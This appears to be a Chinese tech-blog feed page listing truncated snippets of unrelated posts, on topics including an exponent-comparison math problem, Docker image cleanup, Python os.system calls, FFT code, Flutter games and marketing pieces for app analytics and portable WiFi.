【问题】 比较a0.6^0.9 b0.6^1.5 c1.5^0.6的大小 【解答】 指数函数y0.6^x是减函数&#xff0c;因为0.9<1.5,所以0.6^0.9>0.6^1.5,即a>b; 指数函数y1.5^x是增函数&#xff0c;1.5^0.6>1.5^01>0.6^0.9,即c>a; 综上&#xff0c;得出c>a>b的结论。 …

【运维】docker批量删除临时镜像(两种方式)

docker批量删除Tag<none>的临时镜像 在开发的时候&#xff0c;需要经常发布开发包&#xff0c;在使用docker build构建镜像的时候&#xff0c;同一个版本经常会使用相同tag&#xff0c;频繁打包一段时间后&#xff0c;本地会出现很多Tag<none>的临时镜像&#xff…

Xinstall揭秘:APP推广数据背后的真相,让你的营销更精准!

在这个移动互联网时代&#xff0c;APP如同雨后春笋般涌现&#xff0c;但如何在这片红海中脱颖而出&#xff0c;成为每一个开发者与运营者面临的共同难题。其中&#xff0c;APP推广统计作为衡量营销效果、优化推广策略的关键环节&#xff0c;更是不可忽视的一环。今天&#xff0…

你知道滚筒式高速视觉检测机外观怎么“看”出产品质量吗?

点火线圈胶套是一种用于保护点火线圈绝缘部分的胶质套管。这种胶套通常由高温耐磨的橡胶或硅胶材料制成&#xff0c;具有良好的绝缘性能和耐高温性能。点火线圈胶套的作用是防止点火线圈与外部环境接触&#xff0c;防止受潮、灰尘或化学物质的侵蚀&#xff0c;同时起到绝缘和保…

python怎么调用cmd命令

关于python调用cmd命令&#xff1a; 1、python的OS模块 OS模块调用CMD命令有两种方式&#xff1a;os.popen()、os.system()都是用当前进程来调用。 OS.system是无法获取返回值的。当运行结束后接着往下面执行程序。用法如&#xff1a;OS.system("ipconfig"). OS.…

随身WiFi市场乱象横生,随身WiFi测评最好的格行随身WiFi如何引领变革?

在当今随身WiFi市场乱象频发、内卷严重的背景下&#xff0c;消费者对于产品的性能与商家是否会后台割韭菜依旧存疑&#xff0c;尤其是“随身WiFi到底卡不卡&#xff1f;”的问题&#xff0c;成为了广大消费者关注的重点。然而&#xff0c;在众多品牌中&#xff0c;格行随身WiFi…

【音频特征提取】傅里叶变换算法源码学习记录

目录 背景快速理解FFT&#xff08;快速傅里叶变换&#xff09;IFFT&#xff08;逆傅里叶变换&#xff09;STFT&#xff08;短时傅里叶变换&#xff09; 代码实现FFT源代码IFFT源代码FFT、IFFT自己实验STFT源代码STFT自己实验 总结 背景 最近用到了相关操作提取音频信号特征&am…

标签印刷检测,如何做到百分百准确?

印刷标签是一种用于标识、识别或包装产品的平面印刷制品。这些标签通常在纸张、塑料膜、金属箔等材料上印刷产品信息、条形码、图像或公司标识&#xff0c;以便于产品识别和管理。印刷标签有各种形状、尺寸和材质&#xff0c;可以根据具体需求进行定制设计。常见的印刷标签包括…

FlutterFlame游戏实践#15 | 生命游戏 - 演绎启动

theme: cyanosis 本文为稀土掘金技术社区首发签约文章&#xff0c;30天内禁止转载&#xff0c;30天后未获授权禁止转载&#xff0c;侵权必究&#xff01; Flutter\&Flame 游戏开发系列前言: 该系列是 [张风捷特烈] 的 Flame 游戏开发教程。Flutter 作为 全平台 的 原生级 渲…

4.3 设备管理

大纲 设备分类 输入输出 虚设备和SPOOLING技术

Java实战:寻找完美数

文章目录 一、何谓完美数二、寻找完美数&#xff08;一&#xff09;编程思路&#xff08;二&#xff09;编写程序&#xff08;三&#xff09;运行程序 三、实战小结 一、何谓完美数 完美数是一种特殊的自然数&#xff0c;它等于其所有正除数&#xff08;不包括其本身&#xff…